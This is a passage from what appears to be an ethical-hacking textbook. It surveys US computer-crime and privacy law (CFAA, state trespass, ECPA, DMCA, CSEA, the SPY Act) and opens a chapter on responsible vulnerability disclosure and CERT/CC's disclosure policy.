caused by a CFAA violation is easily quantifiable, or if quantifiable, might not exceed
the $5,000 threshold. For example, when computers are used in distributed denial-of-
service attacks or when processing power is being used to brute force and uncover an
encryption key, the issue of damages becomes cloudy. These losses do not always fit
into a nice, neat formula to evaluate whether they total $5,000. The victim of an attack
can suffer various qualitative harms that are much harder to quantify. If you find your-
self in this type of situation, the CFAA might not provide adequate relief. In that con-
text, this federal statute may not be a useful tool for you and your legal team.

An alternative path might be found in other federal laws, but even those still have
gaps in coverage of computer crimes. To fill these gaps, many relevant state laws outlaw-
ing fraud, trespass, and the like, which were developed before the dawn of cyberlaw, are
being adapted, sometimes stretched, and applied to new crimes and old crimes taking
place in a new arena—the Internet. Consideration of state law remedies can provide
protection from activities that are not covered by federal law.

Often victims will turn to state laws that may offer more flexibility when prosecut-
ing an attacker. State laws that are relevant in the computer crime arena include both
new state laws being passed by state legislatures in an attempt to protect their residents
and traditional state laws dealing with trespassing, theft, larceny, money laundering,
and other crimes.

For example, if an unauthorized party accesses, scans, probes, and gathers data from
your network or website, these activities may be covered under a state trespassing law.
Trespass law covers not only the familiar notion of trespass on real estate, but also tres-
pass to personal property (sometimes referred to as “trespass to chattels”). This legal
theory was used by eBay in response to its continually being searched by a company
that implemented automated tools for keeping up-to-date information on many differ-
ent auction sites. Up to 80,000 to 100,000 searches and probes were conducted on the
eBay site by this company, without eBay’s consent. The probing used eBay’s system re-
sources and precious bandwidth, but was difficult to quantify. Plus, eBay could not
prove that they lost any customers, sales, or revenue because of this activity, so the
CFAA was not going to come to the company’s rescue and help put an end to this activ-
ity. So eBay’s legal team sought relief under a state trespassing law to stop the practice,
which the court upheld, and an injunction was put into place.

Resort to state laws is not, however, always straightforward. First, there are 50 differ-
ent states and nearly that many different “flavors” of state law. Thus, for example, tres-
pass law varies from one state to the next, resulting in a single activity being treated in
two very different ways under state law. For instance, some states require a demonstra-
tion of damages as part of the claim of trespass (not unlike the CFAA requirement),
whereas other states do not require a demonstration of damages in order to establish
that an actionable trespass has occurred.

Importantly, a company will usually want to bring a case to the courts of a state that
has the most favorable definition of a crime so it can most easily make its case. Com-
panies will not, however, have total discretion as to where they bring the case to court.
There must generally be some connection, or nexus, to a state in order for the courts of
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that state to have jurisdiction to hear a case. Thus, for example, a cracker in New Jersey
attacking computer networks in New York will not be prosecuted under the laws of
California, since the activity had no connection to that state. Parties seeking to resort to
state law as an alternative to the CFAA or any other federal statute need to consider the
available state statutes in evaluating whether such an alternative legal path is available.
Even with these limitations, companies sometimes have to rely upon this patchwork
quilt of different non-computer-related state laws to provide a level of protection simi-
lar to the intended blanket of protection provided by federal law.

TIP If you are considering prosecuting a computer crime that affected your
company, start documenting the time people have to spend on the issue and
other costs incurred in dealing with the attack.This lost paid employee time
and other costs may be relevant in the measure of damages or, in the case

of the CFAA or those states that require a showing of damages as part of a
trespass case, to the success of the case.

A case in Florida illustrates how victims can quantify damages resulting from com-
puter fraud. In 2009, a hacker pled guilty to computer fraud against his former company,
Quantum Technology Partners, and was sentenced to a year in prison and ordered to pay
$31,500 in restitution. The defendant had been a computer support technician at Quan-
tum, which served its clients by offering storage, e-mail, and scheduling. The hacker re-
motely accessed the company’s network late at night using an admin logon name and
then changed the passwords of every IT administrator. Then the hacker shut down the
company'’s servers and deleted files that would have helped restore tape backup data.
Quantum quantified the damages suffered to come to the more than $30,000 fine the
hacker paid. The costs included responding to the attack, conducting a damage assess-
ment, restoring the entire system and data to their previous states, and other costs associ-
ated with the interruption of network services, which also affected Quantum’s clients.

As with all of the laws summarized in this chapter, information security profession-
als must be careful to confirm with each relevant party the specific scope and authoriza-
tion for work to be performed. If these confirmations are not in place, it could lead to
misunderstandings and, in the extreme case, prosecution under the Computer Fraud
and Abuse Act or other applicable law. In the case of Sawyer vs. Department of Air Force,
the court rejected an employee’s claim that alterations to computer contracts were made
to demonstrate the lack of security safeguards and found the employee liable, since the
statute only required proof of use of a computer system for any unauthorized purpose.
While a company is unlikely to seek to prosecute authorized activity, people who ex-
ceed the scope of such authorization, whether intentionally or accidentally, run the risk
being prosecuted under the CFAA and other laws.

18 USC Sections 2510, et. Seq., and 2701, et. Seq., of the
Electronic Communication Privacy Act

These sections are part of the Electronic Communication Privacy Act (ECPA), which is
intended to protect communications from unauthorized access. The ECPA, therefore,
has a different focus than the CFAA, which is directed at protecting computers and
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network systems. Most people do not realize that the ECPA is made up of two main
parts: one that amended the Wiretap Act and the other than amended the Stored Com-
munications Act, each of which has its own definitions, provisions, and cases inter-
preting the law.

The Wiretap Act has been around since 1918, but the ECPA extended its reach to
electronic communication when society moved in that direction. The Wiretap Act pro-
tects communications, including wire, oral, and data during transmission, from unau-
thorized access and disclosure (subject to exceptions). The Stored Communications Act
protects some of the same types of communications before and/or after the commu-
nications are transmitted and stored electronically somewhere. Again, this sounds sim-
ple and sensible, but the split reflects a recognition that there are different risks and
remedies associated with active versus stored communications.

The Wiretap Act generally provides that there cannot be any intentional intercep-
tion of wire, oral, or electronic communication in an illegal manner. Among the con-
tinuing controversies under the Wiretap Act is the meaning of the word “interception.”
Does it apply only when the data is being transmitted as electricity or light over some
type of transmission medium? Does the interception have to occur at the time of the
transmission? Does it apply to this transmission and to where it is temporarily stored
on different hops between the sender and destination? Does it include access to the
information received from an active interception, even if the person did not participate
in the initial interception? The question of whether an interception has occurred is
central to the issue of whether the Wiretap Act applies.

An example will help to illustrate the issue. Let’s say I e-mail you a message that
must be sent over the Internet. Assume that since Al Gore invented the Internet, he has
also figured out how to intercept and read messages sent over the Internet. Does the
Wiretap Act state that Al cannot grab my message to you as it is going over a wire? What
about the different e-mail servers my message goes through (where it is temporarily
stored as it is being forwarded)? Does the law say that Al cannot intercept and obtain
my message when it is on a mail server?

Those questions and issues come down to the interpretation of the word “inter-
cept.” Through a series of court cases, it has been generally established that “intercept”
only applies to moments when data is traveling, not when it is stored somewhere per-
manently or temporarily. This gap in the protection of communications is filled by the
Stored Communications Act, which protects this stored data. The ECPA, which amend-
ed both earlier laws, therefore, is the “one-stop shop” for the protection of data in both
states—during transmission and when stored.

While the ECPA seeks to limit unauthorized access to communications, it recognizes
that some types of unauthorized access are necessary. For example, if the government wants
to listen in on phone calls, Internet communication, e-mail, network traffic, or you whis-
pering into a tin can, it can do so if it complies with safeguards established under the
ECPA that are intended to protect the privacy of persons who use those systems.

Many of the cases under the ECPA have arisen in the context of parties accessing
websites and communications in violation of posted terms and conditions or other-
wise without authorization. It is very important for information security professionals
and businesses to be clear about the scope of authorized access provided to various par-
ties to avoid these issues.
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In early 2010, a Gmail user brought a class-action lawsuit against Google and its
new “Google Buzz” service. The plaintiff claimed that Google had intentionally ex-
ceeded its authorization to control private information with Buzz. Google Buzz, a so-
cial networking tool, was met with privacy concerns when it was first launched in
February 2010. The application accessed Gmail users’ contact lists to create “follower”
lists, which were publicly viewable. They were created automatically, without the user’s
permission. After initial criticism, Google changed the automatic way lists were created
and made other changes. It remains to be seen how the lawsuit will affect Google's lat-
est creation.

Interesting Application of ECPA
Many people understand that as they go from site to site on the Internet, their browsing
and buying habits are being collected and stored as small text files on their hard drives.
These files are called cookies. Suppose you go to a website that uses cookies, looking for
a new pink sweater for your dog because she has put on 20 pounds and outgrown her
old one, and your shopping activities are stored in a cookie on your hard drive. When
you come back to that same website, magically all of the merchant’s pink dog attire is
shown to you because the web server obtained that earlier cookie it placed your system,
which indicated your prior activity on the site, from which the business derives what it
hopes are your preferences. Different websites share this browsing and buying-habit
information with each other. So as you go from site to site you may be overwhelmed
with displays of large, pink sweaters for dogs. It is all about targeting the customer
based on preferences and, through this targeting, promoting purchases. It's a great ex-
ample of capitalists using new technologies to further traditional business goals.

As it happens, some people did not like this “Big Brother” approach and tried to sue
a company that engaged in this type of data collection. They claimed that the cookies
that were obtained by the company violated the Stored Communications Act, because
it was information stored on their hard drives. They also claimed that this violated the
Wiretap Law because the company intercepted the users’ communication to other web-
sites as browsing was taking place. But the ECPA states that if one of the parties of the
communication authorizes these types of interceptions, then these laws have not been
broken. Since the other website vendors were allowing this specific company to gather
buying and browsing statistics, they were the party that authorized this interception of
data. The use of cookies to target consumer preferences still continues today.

Trigger Effects of Internet Crime

The explosion of the Internet has yielded far too many benefits to list in this writing.
Millions and millions of people now have access to information that years before
seemed unavailable. Commercial organizations, healthcare organizations, nonprofit
organizations, government agencies, and even military organizations publicly disclose
vast amounts of information via websites. In most cases, this continually increasing ac-
cess to information is considered an improvement. However, as the world progresses in
a positive direction, the bad guys are right there keeping up with and exploiting these
same technologies, waiting for the opportunity to pounce on unsuspecting victims.
Greater access to information and more open computer networks and systems have
provided us, as well as the bad guys, with greater resources.
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It is widely recognized that the Internet represents a fundamental change in how
information is made available to the public by commercial and governmental entities,
and that a balance must be continually struck between the benefits and downsides of
greater access. In a government context, information policy is driven by the threat to
national security, which is perceived as greater than the commercial threat to busi-
nesses. After the tragic events of September 11, 2001, many government agencies began
to reduce their disclosure of information to the public, sometimes in areas that were
not clearly associated with national security. A situation that occurred near a Maryland
army base illustrates this shift in disclosure practices. Residents near Aberdeen, Mary-
land, had worried for years about the safety of their drinking water due to their suspi-
cion that potential toxic chemicals were leaked into their water supply from a nearby
weapons training center. In the years before the 9/11 attack, the army base had provided
online maps of the area that detailed high-risk zones for contamination. However,
when residents found out that rocket fuel had entered their drinking water in 2002,
they also noticed that the maps the army provided were much different than before.
Roads, buildings, and hazardous waste sites were deleted from the maps, making the
resource far less effective. The army responded to complaints by saying the omission
was part of a national security blackout policy to prevent terrorism.

This incident was just one example of a growing trend toward information conceal-
ment in the post-9/11 world, much of which affects the information made available on
the Internet. All branches of the government have tightened their security policies. In
years past, the Internet would not have been considered a tool that a terrorist could use
to carry out harmful acts, but in today’s world, the Internet is a major vehicle for anyone
(including terrorists) to gather information and recruit other terrorists.

Limiting information made available on the Internet is just one manifestation of
the tighter information security policies that are necessitated, at least in part, by the
perception that the Internet makes information broadly available for use or misuse. The
Bush administration took measures to change the way the government exposes infor-
mation, some of which drew harsh criticism. Roger Pilon, Vice President of Legal Affairs
at the Cato Institute, lashed out at one such measure: “Every administration over-clas-
sifies documents, but the Bush administration’s penchant for secrecy has challenged
due process in the legislative branch by keeping secret the names of the terror suspects
held at Guantanamo Bay.”

According to the Report to the President from the Information Security Oversight
Office Summary for Fiscal Year 2008 Program Activities, over 23 million documents
were classified and over 31 million documents were declassified in 2005. In a separate
report, they documented that the U.S. government spent more than $8.6 billion in se-
curity classification activities in fiscal year 2008.

The White House classified 44.5 million documents in 2001-2003. Original clas-
sification activity—classifying information for the first time—saw a peak in 2004, at
which point it started to drop. But overall classifications, which include new designa-
tions along with classified information derived from other classified information, grew
to the highest level ever in 2008. More people are now allowed to classify information
than ever before. Bush granted classification powers to the Secretary of Agriculture, Sec-
retary of Health and Human Services, and the administrator of the Environmental Pro-
tection Agency. Previously, only national security agencies had been given this type of
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privilege. However, in 2009, President Obama issued an executive order and memoran-
dum expressing his plans to declassify historical materials and reduce the number of
original classification authorities, with an additional stated goal of a more transparent
government.

The terrorist threat has been used “as an excuse to close the doors of the govern-
ment” states OMB Watch Government Secrecy Coordinator Rick Blum. Skeptics argue
that the government'’s increased secrecy policies don’t always relate to security, even
though that is how they are presented. Some examples include the following:

e The Homeland Security Act of 2002 offers companies immunity from
lawsuits and public disclosure if they supply infrastructure information
to the Department of Homeland Security.

e The Environmental Protection Agency (EPA) stopped listing chemical accidents
on its website, making it very difficult for citizens to stay abreast of accidents
that may affect them.

¢ Information related to the task force for energy policies that was formed by
Vice President Dick Cheney was concealed.

e The Federal Aviation Administration (FAA) stopped disclosing information
about action taken against airlines and their employees.

Another manifestation of the Bush administration’s desire to limit access to infor-
mation in its attempt to strengthen national security was reflected in its support in 2001
for the USA Patriot Act. That legislation, which was directed at deterring and punishing
terrorist acts and enhancing law enforcement investigation, also amended many exist-
ing laws in an effort to enhance national security. Among the many laws that it amend-
ed are the CFAA (discussed earlier), under which the restrictions that were imposed on
electronic surveillance were eased. Additional amendments also made it easier to pros-
ecute cybercrimes. The Patriot Act also facilitated surveillance through amendments to
the Wiretap Act (discussed earlier) and other laws. Although opinions may differ as to
the scope of the provisions of the Patriot Act, there is no doubt that computers and the
Internet are valuable tools to businesses, individuals, and the bad guys.

Digital Millennium Copyright Act (DMCA)

The DMCA is not often considered in a discussion of hacking and the question of in-
formation security, but it is relevant. The DMCA was passed in 1998 to implement the
World Intellectual Property Organization Copyright Treaty (WIPO Treaty). The WIPO
Treaty requires treaty parties to “provide adequate legal protection and effective legal
remedies against the circumvention of effective technological measures that are used by
authors,” and to restrict acts in respect to their works that are not authorized. Thus,
while the CFAA protects computer systems and the ECPA protects communications, the
DMCA protects certain (copyrighted) content itself from being accessed without autho-
rization. The DMCA establishes both civil and criminal liability for the use, manufac-
ture, and trafficking of devices that circumvent technological measures controlling ac-
cess to, or protection of, the rights associated with copyrighted works.
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The DMCA'’s anti-circumvention provisions make it criminal to willfully, and for
commercial advantage or private financial gain, circumvent technological measures
that control access to protected copyrighted works. In hearings, the crime that the anti-
circumvention provision is designed to prevent was described as “the electronic equiva-
lent of breaking into a locked room in order to obtain a copy of a book.”

Circumvention is to “descramble a scrambled work...decrypt an encrypted work, or
otherwise...avoid, bypass, remove, deactivate, or impair a technological measure, with-
out the authority of the copyright owner.” The legislative history provides that “if unau-
thorized access to a copyrighted work is effectively prevented through use of a password,
it would be a violation of this section to defeat or bypass the password.” A “techno-
logical measure” that “effectively controls access” to a copyrighted work includes mea-
sures that, “in the ordinary course of its operation, requires the application of
information, or a process or a treatment, with the authority of the copyright owner, to
gain access to the work.” Therefore, measures that can be deemed to “effectively control
access to a work” would be those based on encryption, scrambling, authentication, or
some other measure that requires the use of a key provided by a copyright owner to
gain access to a work.

Said more directly, the Digital Millennium Copyright Act (DMCA) states that no
one should attempt to tamper with and break an access control mechanism that is put
into place to protect an item that is protected under the copyright law. If you have cre-
ated a nifty little program that will control access to all of your written interpretations
of the grandness of the invention of pickled green olives, and someone tries to break
this program to gain access to your copyright-protected insights and wisdom, the DMCA
could come to your rescue.

When down the road, you try to use the same access control mechanism to guard
something that does not fall under the protection of the copyright law—let’s say your
uncopyrighted 15 variations of a peanut butter and pickle sandwich—you would get a
different result. If someone were willing to extend the necessary resources to break your
access control safeguard, the DMCA would be of no help to you for prosecution pur-
poses because it only protects works that fall under the copyright act.

These explanations sound logical and could be a great step toward protecting hu-
mankind, recipes, and introspective wisdom and interpretations, but this seemingly
simple law deals with complex issues. The DMCA also provides that no one can create,
import, offer to others, or traffic in any technology, service, or device that is designed
for the purpose of circumventing some type of access control that is protecting a copy-
righted item. What's the problem? Let’s answer that question by asking a broader ques-
tion: Why are laws so vague?

Laws and government policies are often vague so they can cover a wider range of
items. If your mother tells you to “be good,” this is vague and open to interpretation.
But she is your judge and jury, so she will be able to interpret good from bad, which
covers any and all bad things you could possibly think about and carry out. There are
two approaches to laws and writing legal contracts:

o Specifying exactly what is right and wrong, which does not allow for
interpretation but covers a smaller subset of activities.
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e Writing a more abstract law, which covers many more possible activities that
could take place in the future, but is then wide open for different judges,
juries, and lawyers to interpret.

Most laws and contracts present a combination of more- and less-vague provisions,
depending on what the drafters are trying to achieve. Sometimes the vagueness is inad-
vertent (possibly reflecting an incomplete or inaccurate understanding of the subject),
whereas, at other times, the vagueness is intended to broaden the scope of that law’s
application.

Let's get back to the law at hand. If the DMCA indicates that no service can be offered
that is primarily designed to circumvent a technology that protects a copyrighted work,
where does this start and stop? What are the boundaries of the prohibited activity?

The fear of many in the information security industry is that this provision could be
interpreted and used to prosecute individuals carrying out commonly applied security
practices. For example, a penetration test is a service performed by information security
professionals where an individual or team attempts to break or slip by access control
mechanisms. Security classes are offered to teach people how these attacks take place so
they can understand what countermeasures are appropriate and why. Sometimes people
are hired to break these mechanisms before they are deployed into a production environ-
ment or go to market to uncover flaws and missed vulnerabilities. That sounds great: hack
my stuff before I sell it. But how will people learn how to hack, crack, and uncover vulner-
abilities and flaws if the DMCA indicates that classes, seminars, and the like cannot be
conducted to teach the security professionals these skills? The DMCA provides an ex-
plicit exemption allowing “encryption research” for identifying the flaws and vulnerabili-
ties of encryption technologies. It also provides for an exception for engaging in an act of
security testing (if the act does not infringe on copyrighted works or violate applicable
law such as the CFAA), but does not contain a broader exemption covering a variety of
other activities that information security professionals might engage in. Yep, as you pull
one string, three more show up. Again, you see why it's important for information secu-
rity professionals to have a fair degree of familiarity with these laws to avoid missteps.

An interesting aspect of the DMCA is that there does not need to be an infringement
of the work that is protected by the copyright law for prosecution under law to take
place. So, if someone attempts to reverse-engineer some type of control and does noth-
ing with the actual content, that person can still be prosecuted under this law. The
DMCA, like the CFAA and the Access Device Statute, is directed at curbing unauthorized
access itself, not at protecting the underlying work, which falls under the protection of
copyright law. If an individual circumvents the access control on an e-book and then
shares this material with others in an unauthorized way, she has broken the copyright
law and DMCA. Two for the price of one.

Only a few criminal prosecutions have been filed under the DMCA. Among
these are:

e A case in which the defendant pled guilty to paying hackers to break DISH
network encryption to continue his satellite receiver business (United States
vs. Kwak).
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e A case in which the defendant was charged with creating a software program
that was directed at removing limitations put in place by the publisher of an
e-book on the buyer’s ability to copy, distribute, or print the book (United
States vs. Sklyarov).

e A case in which the defendant pled guilty to conspiring to import, market, and
sell circumvention devices known as modification (mod) chips. The mod chips
were designed to circumvent copyright protections that were built into game
consoles, by allowing pirated games to be played on the consoles (United
States vs. Rocci).

There is an increasing movement in the public, academia, and from free speech
advocates toward softening the DCMA due to the criminal charges being weighted
against legitimate researchers testing cryptographic strengths (see http://w2.eff.org/
legal/cases/). While there is growing pressure on Congress to limit the DCMA, Congress
took action to broaden the controversial law with the Intellectual Property Protection
Act of 2006 and 2007, which would have made “attempted copyright infringement”
illegal. Several versions of an Intellectual Property Enforcement Act were introduced in
2007, but not made into law. A related bill, the Prioritizing Resources and Organization
for Intellectual Property Act of 2008, was enacted in the fall of 2008. It mostly dealt
with copyright infringement and counterfeit goods and services, and added require-
ments for more federal agents and attorneys to work on computer-related crimes.

Cyber Security Enhancement Act of 2002

Several years ago, Congress determined that the legal system still allowed for too much
leeway for certain types of computer crimes and that some activities not labeled “illegal”
needed to be. In July 2002, the House of Representatives voted to put stricter laws in place,
and to dub this new collection of laws the Cyber Security Enhancement Act (CSEA) of
2002. The CSEA made a number of changes to federal law involving computer crimes.

The act stipulates that attackers who carry out certain computer crimes may now get
a life sentence in jail. If an attacker carries out a crime that could result in another’s
bodily harm or possible death, or a threat to public health or safety, the attacker could
face life in prison. This does not necessarily mean that someone has to throw a server
at another person’s head, but since almost everything today is run by some type of
technology, personal harm or death could result from what would otherwise be a run-
of-the-mill hacking attack. For example, if an attacker were to compromise embedded
computer chips that monitor hospital patients, cause fire trucks to report to wrong ad-
dresses, make all of the traffic lights change to green, or reconfigure airline controller
software, the consequences could be catastrophic and under the CSEA result in the at-
tacker spending the rest of her days in jail.

NOTE In early 2010, a newer version of the Cyber Security Enhancement
Act passed the House and is still on the docket for the Senate to take action,
at the time of this writing. Its purpose includes funding for cybersecurity
development, research, and technical standards.
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The CSEA was also developed to supplement the Patriot Act, which increased the
U.S. government’s capabilities and power to monitor communications. One way in
which this is done is that the CSEA allows service providers to report suspicious behavior
without risking customer litigation. Before this act was put into place, service providers
were in a sticky situation when it came to reporting possible criminal behavior or when
trying to work with law enforcement. If a law enforcement agent requested information
on a provider’s customer and the provider gave it to them without the customer’s knowl-
edge or permission, the service provider could, in certain circumstances, be sued by the
customer for unauthorized release of private information. Now service providers can
report suspicious activities and work with law enforcement without having to tell the
customer. This and other provisions of the Patriot Act have certainly gotten many civil
rights monitors up in arms. It is another example of the difficulty in walking the fine line
between enabling law enforcement officials to gather data on the bad guys and still al-
lowing the good guys to maintain their right to privacy.

The reports that are given by the service providers are also exempt from the Free-
dom of Information Act, meaning a customer cannot use the Freedom of Information
Act to find out who gave up her information and what information was given. This is-
sue has also upset civil rights activists.

Securely Protect Yourself Against Cyber Trespass
Act (SPY Act)

The Securely Protect Yourself Against Cyber Trespass (SPY Act) was passed by the House
of Representatives, but never voted on by the Senate. Several versions have existed since
2004, but the bill has not become law as of this writing.

The SPY Act would provide many specifics on what would be prohibited and pun-
ishable by law in the area of spyware. The basics would include prohibiting deceptive
acts related to spyware, taking control of a computer without authorization, modifying
Internet settings, collecting personal information through keystroke logging or without
consent, forcing users to download software or misrepresenting what software would
do, and disabling antivirus tools. The law also would decree that users must be told
when personal information is being collected about them.

Critics of the act thought that it didn’t add any significant funds or tools for law en-
forcement beyond what they were already able to do to stop cybercriminals. The Elec-
tronic Frontier Foundation argued that many state laws, which the bill would override,
were stricter on spyware than this bill was. They also believed that the bill would bar
private citizens and organizations from working with the federal government against
malicious hackers—leaving the federal government to do too much of the necessary
anti-hacking work. Others were concerned that hardware and software vendors would
be legally able to use spyware to monitor customers’ use of their products or services.

It is up to you which side of the fight you choose to play on—black or white hat—
but remember that computer crimes are not treated as lightly as they were in the past.
Trying out a new tool or pressing Start on an old tool may get into a place you never
intended—jail. So as your mother told you—be good, and may the Force be with you.



Proper and Ethical
Disclosure

For years customers have demanded that operating systems and applications provide
more and more functionality. Vendors continually scramble to meet this demand while
also attempting to increase profits and market share. This combination of the race to
market and maintaining a competitive advantage has resulted in software containing
many flaws—flaws that range from mere nuisances to critical and dangerous vulnera-
bilities that directly affect a customer’s protection level.

The hacker community’s skill sets are continually increasing. It used to take the
hacking community months to carry out a successful attack from an identified vulner-
ability; today it happens in days or hours.

The increase in interest and talent in the black-hat community equates to quicker
and more damaging attacks and malware for the industry to combat. It is imperative
that vendors not sit on the discovery of true vulnerabilities, but instead work to release
fixes to customers who need them as soon as possible.

For this to happen, ethical hackers must understand and follow the proper methods
of disclosing identified vulnerabilities to the software vendor. If an individual uncovers
a vulnerability and illegally exploits it and/or tells others how to carry out this activity,
he is considered a black hat. If an individual uncovers a vulnerability and exploits it
with authorization, she is considered a white hat. If a different person uncovers a vul-
nerability, does not illegally exploit it or tell others how to do so, and works with the
vendor to fix it, this person is considered a gray hat.

Unlike other books and resources available today, we promote using the knowledge
that we are sharing with you in a responsible manner that will only help the industry—
not hurt it. To do this, you should understand the policies, procedures, and guidelines
that have been developed to allow gray hats and the vendors to work together in a con-
certed effort. These items have been created because of past difficulties in teaming up
these different parties (gray hats and vendors) in a way that was beneficial. Many times
individuals would identify a vulnerability and post it (along with the code necessary to
exploit it) on a website without giving the vendor time to properly develop and release
a fix. On the other hand, when an individual has tried to contact a vendor with useful
information regarding a vulnerability, but the vendor has chosen to ignore repeated re-
quests for a discussion pertaining to a particular weakness in a product, usually the in-
dividual—who attempted to take a more responsible approach—posts the vulnerability
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and exploitable code to the world. More successful attacks soon follow and the vendor
then has to scramble to come up with a patch and meanwhile endure a hit to its rep-
etition.

So before you jump into the juicy attack methods, tools, and coding issues we cover
in this book, make sure you understand what is expected of you once you uncover the
security flaws in products today. There are enough people doing wrong things in the
world. We are looking to you to step up and do the right thing. In this chapter, we'll
discuss the following topics:

¢ Different teams and points of view

e CERT's current process

e Full disclosure policy—the RainForest Puppy Policy
¢ Organization for Internet Safety (OIS)

e Conflicts will still exist

e (Case studies

Different Teams and Points of View

Unfortunately, almost all of today’s software products are riddled with flaws. These
flaws can present serious security concerns for consumers. For customers who rely ex-
tensively on applications to perform core business functions, bugs can be crippling
and, therefore, must be dealt with properly. How to address the problem is a compli-
cated issue because it involves two key players who usually have very different views on
how to achieve a resolution.

The first player is the consumer. An individual or company buys a product, relies on
it, and expects it to work. Often, the consumer owns a community of interconnected
systems (a network) that all rely on the successful operation of software to do business.
When the consumer finds a flaw, he reports it to the vendor and expects a solution in a
reasonable timeframe.

The second player is the software vendor. The vendor develops the product and is
responsible for its successful operation. The vendor is looked to by thousands of cus-
tomers for technical expertise and leadership in the upkeep of its product. When a flaw
is reported to the vendor, it is usually one of many that the vendor must deal with, and
some fall through the cracks for one reason or another.

The issue of public disclosure has created quite a stir in the computing industry
because each group views the issue so differently. Many believe knowledge is the pub-
lic’s right and all security vulnerability information should be disclosed as a matter of
principle. Furthermore, many consumers feel that the only way to truly get quick results
from a large software vendor is to pressure it to fix the problem by threatening to make
the information public. Vendors have had the reputation of simply plodding along and
delaying the fixes until a later version or patch is scheduled for release, which will ad-
dress the flaw. This approach doesn’t always consider the best interests of consumers,
however, as they must sit and wait for the vendor to fix a vulnerability that puts their
business at risk.
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The vendor looks at the issue from a different perspective. Disclosing sensitive in-
formation about a software flaw causes two major problems. First, the details of the
flaw will help hackers exploit the vulnerability. The vendor’s argument is that if the is-
sue is kept confidential while a solution is being developed, attackers will not know
how to exploit the flaw. Second, the release of this information can hurt the company’s
reputation, even in circumstances when the reported flaw is later proven to be false. It
is much like a smear campaign in a political race that appears as the headline story in a
newspaper. Reputations are tarnished, and even if the story turns out to be false, a re-
traction is usually printed on the back page a week later. Vendors fear the same conse-
quence for massive releases of vulnerability reports.

Because of these two distinct viewpoints, several organizations have rallied together
to create policies, guidelines, and general suggestions on how to handle software vul-
nerability disclosures. This chapter will attempt to cover the issue from all sides and
help educate you on the fundamentals behind the ethical disclosure of software vulner-
abilities.

How Did We Get Here?

Before the mailing list Bugtraq was created, individuals who uncovered vulnerabilities
and ways to exploit them just communicated directly with each other. The creation of
Bugtraq provided an open forum for these individuals to discuss the same issues and
work collectively. Easy access to ways of exploiting vulnerabilities gave way to the nu-
merous script-kiddie point-and-click tools available today, which allow people who do
not even understand a vulnerability to exploit it successfully. Posting more and more
vulnerabilities to this site has become a very attractive past time for hackers, crackers,
security professionals, and others. Bugtraq led to an increase in attacks on the Internet,
on networks, and against vendors. Many vendors were up in arms, demanding a more
responsible approach to vulnerability disclosure.

In 2002, Internet Security Systems (ISS) discovered several critical vulnerabilities in
products like Apache web server, Solaris X Windows font service, and Internet Software
Consortium BIND software. ISS worked with the vendors directly to come up with solu-
tions. A patch that was developed and released by Sun Microsystems was flawed and
had to be recalled. An Apache patch was not released to the public until after the vul-
nerability was posted through public disclosure, even though the vendor knew about
the vulnerability. Even though these are older examples, these types of activities—and
many more like them—Ileft individuals and companies vulnerable; they were victims of
attacks and eventually developed a deep feeling of distrust of software vendors. Critics
also charged that security companies, like ISS, have alternative motives for releasing
this type of information. They suggest that by releasing system flaws and vulnerabilities,
they generate “good press” for themselves and thus promote new business and in-
creased revenue.

Because of the failures and resulting controversy that ISS encountered, it decided to
initiate its own disclosure policy to handle such incidents in the future. It created de-
tailed procedures to follow when discovering a vulnerability and how and when that
information would be released to the public. Although their policy is considered “re-
sponsible disclosure,” in general, it does include one important caveat—vulnerability
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details would be released to its customers and the public at a “prescribed period of
time” after the vendor has been notified. ISS coordinates their public disclosure of the
flaw with the vendor’s disclosure. This policy only fueled the people who feel that vul-
nerability information should be available for the public to protect themselves.

This dilemma, and many others, represents the continual disconnect among ven-
dors, security companies, and gray hat hackers today. Differing views and individual
motivations drive each group down various paths. The models of proper disclosure that
are discussed in this chapter have helped these different entities to come together and
work in a more concerted effort, but much bitterness and controversy around this issue
remains.

NOTE The range of emotion, the numerous debates, and controversy

over the topic of full disclosure has been immense. Customers and security
professionals alike are frustrated with software flaws that still exist in the
products in the first place and the lack of effort from vendors to help in this
critical area.Vendors are frustrated because exploitable code is continually
released just as they are trying to develop fixes.Ve will not be taking one side
or the other of this debate, but will do our best to tell you how you can help,
and not hurt, the process.

CERT’s Current Process

The first place to turn to when discussing the proper disclosure of software vulnerabili-
ties is the governing body known as the CERT Coordination Center (CC). CERT/CC is a
federally funded research and development operation that focuses on Internet security
and related issues. Established in 1988 in reaction to the first major virus outbreak on
the Internet, the CERT/CC has evolved over the years, taking on more substantial roles
in the industry, which includes establishing and maintaining industry standards for the
way technology vulnerabilities are disclosed and communicated. In 2000, the organiza-
tion issued a policy that outlined the controversial practice of releasing software vulner-
ability information to the public. The policy covered the following areas:

e Full disclosure will be announced to the public within 45 days of being
reported to CERT/CC. This timeframe will be executed even if the software
vendor does not have an available patch or appropriate remedy. The only
exception to this rigid deadline will be exceptionally serious threats or
scenarios that would require a standard to be altered.

e CERT/CC will notify the software vendor of the vulnerability immediately so
that a solution can be created as soon as possible.

¢ Along with the description of the problem, CERT/CC will forward the name of
the person reporting the vulnerability unless the reporter specifically requests
to remain anonymous.

e During the 45-day window, CERT/CC will update the reporter on the current
status of the vulnerability without revealing confidential information.
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CERT/CC states that its vulnerability policy was created with the express purpose of
informing the public of potentially threatening situations while offering the software
vendor an appropriate timeframe to fix the problem. The independent body further
states that all decisions on the release of information to the public are based on what is
best for the overall community.

The decision to go with 45 days was met with controversy as consumers widely felt
that was too much time to keep important vulnerability information concealed. The
vendors, on the other hand, felt the pressure to create solutions in a short timeframe
while also shouldering the obvious hits their reputations would take as news spread
about flaws in their product. CERT/CC came to the conclusion that 45 days was suffi-
cient enough time for vendors to get organized, while still taking into account the
welfare of consumers.

A common argument posed when CERT/CC announced their policy was, “Why re-
lease this information if there isn't a fix available?” The dilemma that was raised is
based on the concern that if a vulnerability is exposed without a remedy, hackers will
scavenge the flawed technology and be in prime position to bring down users’ systems.
The CERT/CC policy insists, however, that without an enforced deadline there will be
no motivation for the vendor to fix the problem. Too often, a software maker could
simply delay the fix into a later release, which puts the consumer in a compromising
position.

To accommodate vendors and their perspective of the problem, CERT/CC performs
the following:

e CERT/CC will make good faith efforts to always inform the vendor before
releasing information so there are no surprises.

e CERT/CC will solicit vendor feedback in serious situations and offer that
information in the public release statement. In instances when the vendor
disagrees with the vulnerability assessment, the vendor’s opinion will be
released as well, so both sides can have a voice.

e Information will be distributed to all related parties that have a stake in the
situation prior to the disclosure. Examples of parties that could be privy to
confidential information include participating vendors, experts that could
provide useful insight, Internet Security Alliance members, and groups that
may be in the critical path of the vulnerability.

Although there have been other guidelines developed and implemented after
